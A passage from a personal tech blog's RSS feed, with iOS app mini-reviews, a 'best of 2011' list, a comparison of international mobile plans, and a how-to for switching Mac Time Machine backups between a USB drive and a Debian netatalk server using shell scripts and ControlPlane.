<p><strong><a href="http://itunes.apple.com/us/app/beejiveim-with-push/id291720439?mt=8" target="_blank">BeejiveIM:</a> </strong>Bought it back when IM with push was an infant on the iPhone. We utilize Jabber internally and it works well enough for that. Meta-contact support is nice for filtering multiple networks into a single line item. The offline and push support are hit or miss so don&#8217;t depend on it for anything mission critical.</p>
<p><a href="http://itunes.apple.com/us/app/instagram/id389801252?mt=8" target="_blank"><strong>Instagram</strong></a>: I see a lot of nifty things around the world, but take crappy pictures. Filters add a little flair that almost convinces people I have an artistic side. Like the social aspect in the app a lot too.</p>
<p><strong><a href="http://itunes.apple.com/us/app/twitter/id333903271?mt=8" target="_blank">Twitter</a></strong>: Quality of this app has gone WAY WAY down in recent releases. On the prowl for something less sucky, but for now it works.</p>
<p><a href="http://itunes.apple.com/us/app/timetuner-radio-alarm-clock/id332673293?mt=8" target="_blank"><strong>TimeTuner</strong></a>: Sometimes it is hard for me to shutoff the brain when I am in hotel rooms. I use TimeTuner to listen to my favorite news stations from around the world and have them shutoff in a set amount of time. The app is pretty and the dim functions are useful. I purchased this ages ago when there were few apps like it. If I was on the market today I might look elsewhere as the developer has slowed down greatly on fixes and updates.</p>
<p><strong><a href="http://itunes.apple.com/us/app/dvpremote-for-roku/id323191554?mt=8" target="_blank">DVPRemote:</a> </strong>I can never find the darn remote when we are watching TV, but I always have the phone or iPad nearby. The remote is better for navigating than the one supplied with the device. If you have a Roku I consider this a much purchase. Also fun if you have a VPN to your house to change the TV when someone is watching it from Germany and freak them out :)</p>
<p><strong><a href="http://itunes.apple.com/us/app/netflix/id363590051?mt=8" target="_blank">Netflix</a>: </strong>This plus my home server VPN and I have netflix from any country in the world. App works well enough.</p>
<p><strong> <a href="http://itunes.apple.com/us/app/hulu-plus/id376510438?mt=8" target="_blank">Hulu Plus:</a> </strong>I swear there is a conspiracy on the lack of AirPlay support for this app between Hulu and Apple. Other than that as I said in the Netflix section it at least allows viewing TV shows when in foreign places.</p>
<p><strong><a href="http://itunes.apple.com/us/app/ip-cam-viewer-pro/id402656416?mt=8">IP Cam Viewer:</a> </strong>I am not home a lot, but this app and the camera setup around my property allow me to keep an eye on things.</p>
]]></content:encoded>
			<wfw:commentRss>http://geekyschmidt.com/2012/01/15/ios-apps-for-business-owners-and-travelers/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Best things and stuff from 2011</title>
		<link>http://geekyschmidt.com/2011/12/31/best-things-and-stuff-from-2011</link>
		<comments>http://geekyschmidt.com/2011/12/31/best-things-and-stuff-from-2011#comments</comments>
		<pubDate>Sat, 31 Dec 2011 20:57:41 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[looking back]]></category>
		<category><![CDATA[newyear]]></category>

		<guid isPermaLink="false">http://geekyschmidt.com/?p=1931</guid>
		<description><![CDATA[<p>It is coming up on the end of another year so I wanted to look back and give some &#8220;Best Of&#8221;</p> Events <p>Professionally: Started <a href="http://specopstechnology.com" target="_blank">Spec Ops Technology</a></p> <p>Location: Moved into Washington DC and the great neighborhood of <a href="http://en.wikipedia.org/wiki/Brookland_(Washington,_D.C.)" target="_blank">Brookland</a></p> News <p>World: <a href="http://www.washingtonpost.com/blogs/capital-weather-gang/post/top-5-extreme-international-weather-events-of-2011/2011/12/29/gIQA7grYOP_blog.html" target="_blank">Crazy weather</a> and <a href="http://www.globalpost.com/dispatch/news/regions/asia-pacific/111219/deaths-2011-kim-jong-il-gaddafi-bin-laden" target="_blank">3 of American&#8217;s Enemies [...]]]></description>
				<content:encoded><![CDATA[<p>It is coming up on the end of another year so I wanted to look back and give some &#8220;Best Of&#8221;</p>
<h4>Events</h4>
<p><em>Professionally</em>: Started <a href="http://specopstechnology.com" target="_blank">Spec Ops Technology</a></p>
<p><em>Location: </em>Moved into Washington DC and the great neighborhood of <a href="http://en.wikipedia.org/wiki/Brookland_(Washington,_D.C.)" target="_blank">Brookland</a></p>
<h4>News</h4>
<p><em>World: </em><a href="http://www.washingtonpost.com/blogs/capital-weather-gang/post/top-5-extreme-international-weather-events-of-2011/2011/12/29/gIQA7grYOP_blog.html" target="_blank">Crazy weather</a> and <a href="http://www.globalpost.com/dispatch/news/regions/asia-pacific/111219/deaths-2011-kim-jong-il-gaddafi-bin-laden" target="_blank">3 of American&#8217;s Enemies Died</a></p>
<p><em>Local: </em><a href="http://www.washingtonpost.com/earthquake-rattles-washington-area/2011/08/23/gIQATMOGZJ_story.html" target="_blank">DC Earth Quake</a></p>
<h4>Music</h4>
<p><em>Best Indie Rock Album of the Year:</em></p>
<p><a href="http://geekyschmidt.com/wp-content/uploads/2011/12/FileThe_king_of_limbs.jpeg" rel="lightbox[1931]"><img class="alignleft  wp-image-1932" style="border-image: initial; border-width: 2px; border-color: black; border-style: solid; margin: 2px;" title="File:The_king_of_limbs" src="http://geekyschmidt.com/wp-content/uploads/2011/12/FileThe_king_of_limbs-150x150.jpg" alt="" width="48" height="48" /></a><a href="http://www.rdio.com/#/artist/Radiohead/album/The_King_Of_Limbs/" target="_blank">King of Limbs</a> came through digital downloads and was amazing. Radiohead broke the mold by releasing without a label and doing it strictly digital. Oh and the music was awesome. Still listen to this on repeat&#8230;</p>
<p>&nbsp;</p>
<p><em>Best Hip-Hop Album of the Year:</em></p>
<p><img class="alignright  wp-image-1933" style="border-image: initial; border-width: 2px; border-color: black; border-style: solid; margin: 2px;" title="ChildishGambino" src="http://geekyschmidt.com/wp-content/uploads/2011/12/ChildishGambino-150x150.jpg" alt="" width="48" height="48" /></p>
<p>Officially Childish Gambino released the &#8220;full&#8221; album in Sept/Oct, but the singles were spattered on his blog since the beginning of the year. The lyrics are funny and introspective while being playful enough for the casual listener. The mixes of famous indie tunes in with hip-hop beats are phenomenal. I sound like a fanbois, but everyone I talk to hears about <a href="http://www.rdio.com/#/artist/Childish_Gambino/album/Camp/" target="_blank">Camp</a>.</p>
<p><em>Best &#8220;Make me Dance&#8221; Album of the Year:</em></p>
<p>I am not a dancer, but that doesn&#8217;t mean I don&#8217;t like dancing. I have to admit I almost tossed LCD Dance Yourself Clean on here, but it technically was released in 2010. Grrr&#8230;No worries as the backup was just as good in 2011.<a href="http://www.rdio.com/#/artist/M83/album/Hurry_Up_We're_Dreaming/" target="_blank"> M83&#8242;s Hurry Up We&#8217;re Dreaming</a> was awesome. Midnight City starts the playing of just a few chords and I want to bounce around. Backup here would be the Justice Album this year</p>
<p><em>Best Album of the Year I liked that no one else did:</em></p>
<p><a href="http://geekyschmidt.com/wp-content/uploads/2011/12/Frank-Oceans-Nostalgia-Ul-006.jpg" rel="lightbox[1931]"><img class="alignleft  wp-image-1934" style="border-image: initial; border-width: 2px; border-color: black; border-style: solid; margin: 2px;" title="Frank-Oceans-Nostalgia-Ul-006" src="http://geekyschmidt.com/wp-content/uploads/2011/12/Frank-Oceans-Nostalgia-Ul-006-150x150.jpg" alt="" width="32" height="32" /></a>Overseas I get big props for this album being in heavy rotation, but stateside he seems unknown. Come on you damn Yanks! Go take a listen! It seems that the music when shipped across the ocean is no longer appreciated which is <strong><em>despicable</em></strong>. <a href="http://www.rdio.com/#/artist/Frank_Ocean/" target="_blank">Frank Ocean</a> is pretty spiffy.</p>
<h4>Moving Images</h4>
<p>I hate movie theaters so I am going to list my movie that was accessible via Netflix rather than in a stinky, sticky, and noisy movie theater.</p>
<p><a href="http://www.imdb.com/title/tt1570728/" target="_blank">Crazy, Stupid, Love</a> was a great movie I actually saw while flying. Usually the movies on planes are subpar and leaving me sleeping mid-way through. This one though had me intrigued and laughing most of the flight. Great show</p>
<p>For the TV Show of the year I am giving it a tie for the two shows that made me want to rush to my TV for Hulu. <a href="http://en.wikipedia.org/wiki/Bob's_Burgers" target="_blank">Bob&#8217;s Burgers</a> is hilarious like a way most shows aren&#8217;t anymore. If you aren&#8217;t into animation then I recommend you go catch <a href="http://en.wikipedia.org/wiki/Community_(TV_series)" target="_blank">Community</a>. Have you not watched either yet, SHAME ON YOU!</p>
<h4>Tech News</h4>
<p><em>OS Release: </em><a href="http://wiki.debian.org/DebianSqueeze" target="_blank">Debian Squeeze</a> was a big release! I live on Debian when not tied to my Mac machines. What a great OS and the release really helped show that Ubuntu wasn&#8217;t the only game in town.</p>
<p><em>Application Release: </em><a href="https://www.torproject.org/" target="_blank">Tor</a> added greatly to the ability of uprisings to be coordinated and increased. As dictators around the world locked down their people&#8217;s access to the world, Tor gave them a secure gateway out. Images that helped fuel international support and dissidence came by means of an old US Navy project. Great technology that is now running everything from phones to routers.</p>
<p><em>Going to change the market in the coming year: </em>Smartphones are so passe&#8217; as altering technologies, but I disagree. They are coming into their own, but in 2012 they will be replacing technologies far and wide. Cameras, GPS, wireless hotspots, Credit Cards,</p>
<p><em>Phone: </em>There were lots of phones this year, but <a href="http://apple.com/iphone">iPhone</a> still gets my nod as the phone of the year. Android isn&#8217;t wining on technology right now, its wining on price.</p>
<p><em>Computer: </em>The 11&#8243; <a href="http://apple.com/macbookair">MacBook Air</a> has changed the way and where I do computing. What an amazing machine!</p>
<p><em>Tablet: </em>There is the <a href="http://apple.com/ipad">iPad</a> and everything else. Sorry, but everything else still sucks.</p>
<p><em>Website I use more than anything: </em><a href="http://reddit.com">Reddit.com</a> is my daily (or hourly) visit location. I see news breaking here WELL before major outlets. I am sure I could curate Twitter to do the same, but its too much work. I simply subscribe to the subreddit I am interested in and off I go. Wonderful platform for geeks and others.</p>
<h4>Dumbest Things of the Year</h4>
<p><em>Website: </em>Google Plus or Qwickster</p>
<p><em>Merger: </em>Skype to Microsoft or Autonomy to HP</p>
<p><em>Car:</em><a href="http://www.leftlanenews.com/new-car-buying/bmw/1-series-m-coupe/" target="_blank">BMW M 1 Series</a>&#8230;only because I want one so bad it hurts</p>
<p>&nbsp;</p>
<h2 style="text-align: center;">Here is to 2012!</h2>
<p><a href="http://geekyschmidt.com/wp-content/uploads/2011/12/FUNNY-CATS-SING-NEW-YEARS.jpeg" rel="lightbox[1931]"><img class="aligncenter size-full wp-image-1935" title="FUNNY-CATS-SING-NEW-YEARS" src="http://geekyschmidt.com/wp-content/uploads/2011/12/FUNNY-CATS-SING-NEW-YEARS.jpeg" alt="" width="400" height="303" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://geekyschmidt.com/2011/12/31/best-things-and-stuff-from-2011/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>International Phones and Plans</title>
		<link>http://geekyschmidt.com/2011/12/29/international-phones-and-plans</link>
		<comments>http://geekyschmidt.com/2011/12/29/international-phones-and-plans#comments</comments>
		<pubDate>Fri, 30 Dec 2011 03:54:46 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Techie]]></category>
		<category><![CDATA[att]]></category>
		<category><![CDATA[blackberry]]></category>
		<category><![CDATA[data]]></category>
		<category><![CDATA[international]]></category>
		<category><![CDATA[sprint]]></category>
		<category><![CDATA[tmobile]]></category>
		<category><![CDATA[travel]]></category>
		<category><![CDATA[verizon]]></category>

		<guid isPermaLink="false">http://geekyschmidt.com/?p=1921</guid>
		<description><![CDATA[<p><a href="http://geekyschmidt.com/wp-content/uploads/2011/12/iDish.jpg" rel="lightbox[1921]"></a>Its hard to travel the globe and not be connected. When we started <a href="http://specopstechnology.com">Spec Ops Technology</a> we had plans to simply use unlocked phones and purchase SIM cards in the country we would primarily be working. That is fine and dandy till you miss a meeting because you were not within WIFI range [...]]]></description>
				<content:encoded><![CDATA[<p><a href="http://geekyschmidt.com/wp-content/uploads/2011/12/iDish.jpg" rel="lightbox[1921]"><img class=" wp-image-1926 alignleft" style="border-image: initial; border-width: 4px; border-color: black; border-style: solid; margin: 2px;" title="iDish" src="http://geekyschmidt.com/wp-content/uploads/2011/12/iDish-300x292.jpg" alt="" width="144" height="140" /></a>Its hard to travel the globe and not be connected. When we started <a href="http://specopstechnology.com">Spec Ops Technology</a> we had plans to simply use unlocked phones and purchase SIM cards in the country we would primarily be working. That is fine and dandy till you miss a meeting because you were not within WIFI range to check your email or can&#8217;t remember which of the 7 SIM cards in your pocket are tied to the country you are now landing in. There are enough logistics nightmares to toss phone management into the fire. I wanted to share my findings for those traveling a lot and those running international firms.</p>
<p>I do some averages to hide our customer&#8217;s privacy and locations. It also helps for those not traveling to a single country, but rather across many different places. I think this more reflects the average traveler who is taking a European cruise and starts in the Netherlands and ends up in France/Germany/Belgium/etc.</p>
<p>The other oddball out here is I include the Tmobile Blackberry plan. It is so drastically different due to the rate structure I feel it important for comparison.</p>
<p>Links to each vendors international information:</p>
<ul>
<li><a href="http://shop.sprint.com/mysprint/services_solutions/category.jsp?catId=service_international&amp;catName=International%20Services&amp;ECID=vanity:international" target="_blank"><strong>Sprint</strong></a></li>
<li><a href="http://b2b.vzw.com/international/inside_us.html" target="_blank"><strong>Verizon</strong></a></li>
<li><a href="http://www.t-mobile.com/international/" target="_blank"><strong>Tmobile</strong></a></li>
<li><strong><a href="http://www.wireless.att.com/learn/international/roaming/international-roaming.jsp" target="_blank">AT&amp;T Wireless</a></strong></li>
</ul>
<h4>GR&amp;A</h4>
<p>My ground rules and assumptions for the table are as follows:</p>
<ol>
<li>You have a locked phone to the carrier listed</li>
<li>You use on average ~800 MiB of data per month for standard business communications</li>
<li>You want EVERY international option for calls/txt rates</li>
</ol>
<h4>General Findings</h4>
<ul>
<li>They all suck.</li>
<li>Force yourself to use a blackberry and you can get out pretty cheap with Tmobile, but be 100% your data is BIS related or your screwed</li>
<li>Tmobile has Wifi calling built into many of their phones which can save you some heartache</li>
<li>Use Google Voice to save some more money</li>
<li>HOLY TOLEDO BATMAN some of the costs here are more than a nice car</li>
</ul>
<h4>Rankings by price per month</h4>
<ol>
<li>Tmobile Blackberry Plan which only helps with data. If you are wanting to use voice abroad you better get ready for some hurt. My voice alone last month was 550 USD of the 700 dollar bill</li>
<li>AT&amp;T Wireless 800MiB Plan with Options</li>
<li>Verizon with the 300MiB Plan with Options and Overages</li>
<li>Tmobile screwed over plan</li>
<li>Sprint screwed over totally</li>
</ol>
<p>Link to Table of Data is <a href="https://docs.google.com/spreadsheet/pub?hl=en_US&amp;hl=en_US&amp;key=0Ajyx9_8zycY_dE12cWg4YU43MUozd1JZSXNQd3MzUHc&amp;output=html" target="_parent">HERE</a></p>
<p><span style="text-decoration: underline;"><em><strong>Updated to include 300 minutes of voice <a href="https://docs.google.com/spreadsheet/pub?hl=en_US&amp;hl=en_US&amp;key=0Ajyx9_8zycY_dE12cWg4YU43MUozd1JZSXNQd3MzUHc&amp;output=html" target="_parent">HERE</a></strong></em></span></p>
]]></content:encoded>
			<wfw:commentRss>http://geekyschmidt.com/2011/12/29/international-phones-and-plans/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dual Time Machine Wielding Backups!</title>
		<link>http://geekyschmidt.com/2011/12/29/dual-time-machine-wielding-backups</link>
		<comments>http://geekyschmidt.com/2011/12/29/dual-time-machine-wielding-backups#comments</comments>
		<pubDate>Thu, 29 Dec 2011 16:08:49 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Techie]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[location]]></category>
		<category><![CDATA[switch]]></category>
		<category><![CDATA[timemachine]]></category>

		<guid isPermaLink="false">http://geekyschmidt.com/?p=1891</guid>
		<description><![CDATA[<p>With the purchase of the Apple Thunderbolt Display my Air now has a jumbo-frame enabled ethernet port at its disposal. My current backup strategy is to utilize an encrypted external USB laptop drive while on the road and to just rsync the latest backup when I get home. This has been working great for a [...]]]></description>
				<content:encoded><![CDATA[<p>With the purchase of the Apple Thunderbolt Display my Air now has a jumbo-frame enabled ethernet port at its disposal. My current backup strategy is to utilize an encrypted external USB laptop drive while on the road and to just rsync the latest backup when I get home. This has been working great for a year straight (saved my greasy bacon when the airlines forgot my bag) but I figured it was time to reevaluate with my fancy monitor in the mix.</p>
<h4><strong>The Ingredients:</strong></h4>
<ol>
<li>Apple Thunderbolt Display</li>
<li>MacBook Air 11&#8243;</li>
<li>OS X 10.7 Lion which added the tmutil command</li>
<li>Iomega eGo USB Drive</li>
<li>Debian 6.0 Server with oodles of encrypted disk space</li>
<li>Gigabit network</li>
<li><a href="http://controlplane.dustinrue.com/" target="_blank">ControlPlane</a> for geolocation detection</li>
</ol>
<h4><strong>Secret Magic Scripts:</strong></h4>
<p>First we need to create a HOME script. This will be called when the MacBook Air detects that it is on a super-fast connection instead of that yucky Wifi.</p>
<p><em><span style="text-decoration: underline;">sudo vi /opt/local/bin/switchtimemachinehome.sh</span></em></p>
<pre style="padding-left: 30px;">#!/bin/bash
#This will change your Time Machine setting the backup to your home server
sleep 5
tmutil setdestination afp://username:<a title="[GMCP] Compose a new mail to password@192.168" href="https://mail.google.com/mail/u/0/?view=cm&amp;fs=1&amp;tf=1&amp;to=password@192.168" rel="noreferrer" target="_blank">password@</a>10.10.10.1/TimeMachineNAS/
sleep 5
tmutil startbackup</pre>
<p>Obviously you will want to modify the username:password and destination. Something that will trip you up (hopefully) is your complex password does not work in the URL. If this is the case then please use the below AppleScript to modify it for you. Standard POSIX/UNIXy type things do not work.</p>
<p><span style="text-decoration: underline;"><em>Open AppleScript Editor and put in the following and run</em></span></p>
<pre style="padding-left: 30px;"><strong>set</strong> theText <strong>to</strong> "I want to pass this text, via GET, to a url!"
<strong>set</strong> theText <strong>to</strong> text returned <strong>of</strong> (<strong>display dialog</strong> "encode what" default answer theText)
<strong>set</strong> theTextEnc <strong>to</strong> urlencode(theText) <strong>of</strong> <strong>me</strong>
<strong>display dialog</strong> theTextEnc default answer theTextEnc

<strong>on</strong> urlencode(theText)
<strong>set</strong> theTextEnc <strong>to</strong> ""
<strong>repeat</strong> <strong>with</strong> eachChar <strong>in</strong> <em>characters</em> <strong>of</strong> theText
<strong>set</strong> useChar <strong>to</strong> eachChar
<strong>set</strong> eachCharNum <strong>to</strong> <strong>ASCII number</strong> <strong>of</strong> eachChar
<strong>if</strong> eachCharNum = 32 <strong>then</strong>
<strong>set</strong> useChar <strong>to</strong> "+"
<strong>else</strong> <strong>if</strong> (eachCharNum ≠ 42) <strong>and</strong> (eachCharNum ≠ 95) <strong>and</strong> (eachCharNum &lt; 45 <strong>or</strong> eachCharNum &gt; 46) <strong>and</strong> (eachCharNum &lt; 48 <strong>or</strong> eachCharNum &gt; 57) <strong>and</strong> (eachCharNum &lt; 65 <strong>or</strong> eachCharNum &gt; 90) <strong>and</strong> (eachCharNum &lt; 97 <strong>or</strong> eachCharNum &gt; 122) <strong>then</strong>
<strong>set</strong> firstDig <strong>to</strong> <strong>round</strong> (eachCharNum / 16) rounding down
<strong>set</strong> secondDig <strong>to</strong> eachCharNum <strong>mod</strong> 16
<strong> </strong></pre>
<pre style="padding-left: 30px;"><strong>if</strong> firstDig &gt; 9 <strong>then</strong>
<strong>set</strong> aNum <strong>to</strong> firstDig + 55
<strong>set</strong> firstDig <strong>to</strong> <strong>ASCII character</strong> aNum
<strong>end</strong> <strong>if</strong>

<strong>if</strong> secondDig &gt; 9 <strong>then</strong>
<strong>set</strong> aNum <strong>to</strong> secondDig + 55
<strong>set</strong> secondDig <strong>to</strong> <strong>ASCII character</strong> aNum
<strong>end</strong> <strong>if</strong>
<strong> </strong></pre>
<pre style="padding-left: 30px;">set numHex <strong>to</strong> ("%" &amp; (firstDig <strong>as</strong> <em>string</em>) &amp; (secondDig <strong>as</strong> <em>string</em>)) <strong>as</strong> <em>string</em>
<strong>set</strong> useChar <strong>to</strong> numHex
<strong>end</strong> <strong>if</strong>
<strong>set</strong> theTextEnc <strong>to</strong> theTextEnc &amp; useChar <strong>as</strong> <em>string</em>

<strong>end</strong> <strong>repeat</strong>
<strong>return</strong> theTextEnc
<strong>end</strong> urlencode</pre>
<p>After that we need to give ControlPlane something to call when we are on the road and have nothing but that simple USB drive we lug around.</p>
<p><span style="text-decoration: underline;"><em>sudo vi /opt/local/bin/switchtimemachinemobile.sh</em></span></p>
<pre style="padding-left: 30px;">#!/bin/bash
#This will change your Time Machine setting the backup to your home server
sleep 5
tmutil setdestination /Volumes/RubbageHolder/
sleep 5
tmutil startbackup</pre>
<p>Lets now make both files executable or the scripts will fail</p>
<p style="padding-left: 30px;"><em>sudo chmod +x /opt/local/bin/switchtimemachinehome.sh</em></p>
<p style="padding-left: 30px;"><em>sudo chmod +x /opt/local/bin/switchtimemachinemobile.sh</em></p>
<h4><strong>Letting the Penguins talk to the Fruit:</strong></h4>
<p>In order for our Debian server to be useful we need to give it a secret decoder ring. This means installing some software and announcing itself a certain way for the Mac machines to recognize it as a Mac Server. You can also do this with a standard Mac server, but I prefer my servers to be Linux/BSD based. <em>NOTE: If you are securing your backups using encrypted USB drives, but fail to encrypt your home NAS &#8211; SHAME ON YOU! </em>So lets get started by issuing a SSH to our home server.</p>
<ol>
<li>sudo apt-get install netatalk avahi-daemon</li>
<li>sudo vi /etc/netatalk/AppleVolumes.default</li>
<li>Add the line: <em>/share/Backup           &#8220;TimeMachineNAS&#8221;         options:tm </em>to the end of the file</li>
</ol>
<div>Now Apple uses some secret sauce to make things auto discovered. Zeroconf, Bonjour, Avahi, etc. Call it what you will, but what it does it announce the capabilities of a server to a client without direct queries. There are tons of options for avahi on linux, but I am going to walk you through the basics. One note is that your home server will show-up looking like the now defunct Xserver. You are welcome.</div>
<div></div>
<div><em>sudo vi /etc/avahi/services/afpd.service </em>and then add the below:</div>
<div>
<div>
<pre style="padding-left: 30px;">&lt;?xml version="1.0" standalone='no'?&gt;&lt;!--*-nxml-*--&gt;
&lt;!DOCTYPE service-group SYSTEM "avahi-service.dtd"&gt;
&lt;service-group&gt;
&lt;name replace-wildcards="yes"&gt;%h&lt;/name&gt;

&lt;service&gt;
 &lt;type&gt;_afpovertcp._tcp&lt;/type&gt;
 &lt;port&gt;548&lt;/port&gt;
&lt;/service&gt;

&lt;service&gt;
 &lt;type&gt;_device-info._tcp&lt;/type&gt;
 &lt;port&gt;0&lt;/port&gt;
 &lt;txt-record&gt;model=Xserve&lt;/txt-record&gt;
&lt;/service&gt;

&lt;service&gt;
 &lt;type&gt;_adisk._tcp&lt;/type&gt;
 &lt;port&gt;9&lt;/port&gt;
 &lt;txt-record&gt;sys=waMA=00:00:00:00:00<em>,adVF=0x100</em>&lt;/txt-record&gt;
 &lt;txt-record&gt;dk0=adVF=0x83,adVN=<em>TimeMachineNAS</em>&lt;/txt-record&gt;
&lt;/service&gt;

&lt;/service-group&gt;</pre>
</div>
</div>
<div>Be sure to replace waMA= to your actual MAC address. I used a bridged adapter for failover, but normally this would be your eth0. Verify this by <em>sudo ifconfig -a</em></div>
<div></div>
<div>Next we need to allow the netatalk services to speak UDP for faster backups. <em>sudo vi /etc/netatalk/afpd.conf</em> and then add to the bottom of the file:</div>
<div style="padding-left: 30px;">- -udp -noddp -uamlist uams_randnum.so,uams_dhx.so,uams_dhx2.so</div>
<div style="padding-left: 30px;"></div>
<div>Lastly lets restart all the services to ensure our NAS is ready to accept the TimeMachine backups by issuing <em>sudo /etc/init.d/netatalk restart</em> AND <em>sudo /etc/init.d/avahi-daemon restart</em></div>
<div></div>
<p><h4><strong>Convince the Mac its right at home:</strong></h4>
<div>
<div>
<div>To convince the Mac machine that its talking to an approved machine we have to open a Terminal and type in the following command: <em>defaults write com.apple.systempreferences TMShowUnsupportedNetworkVolumes 1</em></div>
<p><h4><em></em><strong>Location, Location, Location:</strong></h4>
<div>The next few steps are important and complicated, but its the logic we assign to your Mac to know which location it is in. ControlPlane can provide many rules to determining location such as network adapter, bluetooth, time of day, etc. Since I have that spiffy new Thunderbolt Display I am lucky enough to have a guaranteed en3 network adapter each time I plugin. Your adapter may vary, but the logic in the following screenshots states: <em><strong>IF</strong> en3 (Display Adapter) is active <strong>THEN</strong> assume the location of the laptop is home.</em> Inversely if en3 is not active then assume the machine is away. For me this works great for when the laptop is upstairs, but still in the house. I obviously wouldn&#8217;t want to backup 256GiB over the wifi link.</div>
<div></div>
</p>
<p><div>1. Open ControlPlane and ensure that it is started at login and that Enable automatic switching is in use</div>
<div></div>
<div><a href="http://geekyschmidt.com/wp-content/uploads/2011/12/1.png" rel="lightbox[1891]"><img class="size-full wp-image-1900 aligncenter" title="1" src="http://geekyschmidt.com/wp-content/uploads/2011/12/1.png" alt="" width="413" height="377" /></a></div>
<div></div>
<div>2. Under evidence sources ensure that NetworkLink (or whatever you are using as the rule indicator) is checked</div>
</p>
<p style="text-align: center;"><a href="http://geekyschmidt.com/wp-content/uploads/2011/12/2.png" rel="lightbox[1891]"><img class=" wp-image-1900 aligncenter" title="1" src="http://geekyschmidt.com/wp-content/uploads/2011/12/2.png" alt="" width="389" height="379" /></a></p>
<div>3. Create two new Contexts; Home and Away</div>
<p style="text-align: center;"><a href="http://geekyschmidt.com/wp-content/uploads/2011/12/3.5.png" rel="lightbox[1891]"><img class=" wp-image-1900 aligncenter" title="1" src="http://geekyschmidt.com/wp-content/uploads/2011/12/3.5.png" alt="" width="393" height="393" /></a></p>
<div>4. Click the &#8220;+&#8221; and add a new rule</div>
<p style="text-align: center;"><a href="http://geekyschmidt.com/wp-content/uploads/2011/12/4.png" rel="lightbox[1891]"><img class=" wp-image-1900 aligncenter" title="1" src="http://geekyschmidt.com/wp-content/uploads/2011/12/4.png" alt="" width="477" height="362" /></a></p>
<p>5. First rule states the en3 link is active and context is HOME</p>
<p style="text-align: center;"><a href="http://geekyschmidt.com/wp-content/uploads/2011/12/5.png" rel="lightbox[1891]"><img class=" wp-image-1900 aligncenter" title="1" src="http://geekyschmidt.com/wp-content/uploads/2011/12/5.png" alt="" width="320" height="178" /></a></p>
<div>6. Next create an en3 is INACTIVE rule and assign it to Away. Your Rules screen should look like the below</div>
<p style="text-align: center;"><a href="http://geekyschmidt.com/wp-content/uploads/2011/12/7.png" rel="lightbox[1891]"><img class=" wp-image-1900 aligncenter" title="1" src="http://geekyschmidt.com/wp-content/uploads/2011/12/7.png" alt="" width="477" height="362" /></a></p>
<div>7. With rules and contexts in place we can assign actions to those Context by executing our shell script <em><span style="text-decoration: underline;">switchtimemachinehome.sh</span></em> on Context Home&#8230;</div>
<p style="text-align: center;"><a href="http://geekyschmidt.com/wp-content/uploads/2011/12/8.png" rel="lightbox[1891]"><img class=" wp-image-1900 aligncenter" title="1" src="http://geekyschmidt.com/wp-content/uploads/2011/12/8.png" alt="" width="498" height="491" /></a></p>
<div>8. And executing shell script <span style="text-decoration: underline;"><em>switchtimemachinemobile.sh</em></span> on Context Away</div>
<p style="text-align: center;"><a href="http://geekyschmidt.com/wp-content/uploads/2011/12/9.png" rel="lightbox[1891]"><img class=" wp-image-1900 aligncenter" title="1" src="http://geekyschmidt.com/wp-content/uploads/2011/12/9.png" alt="" width="498" height="491" /></a></p>
<div></div>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://geekyschmidt.com/2011/12/29/dual-time-machine-wielding-backups/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
<!-- WP Super Cache is installed but broken. The path to wp-cache-phase1.php in wp-content/advanced-cache.php must be fixed! -->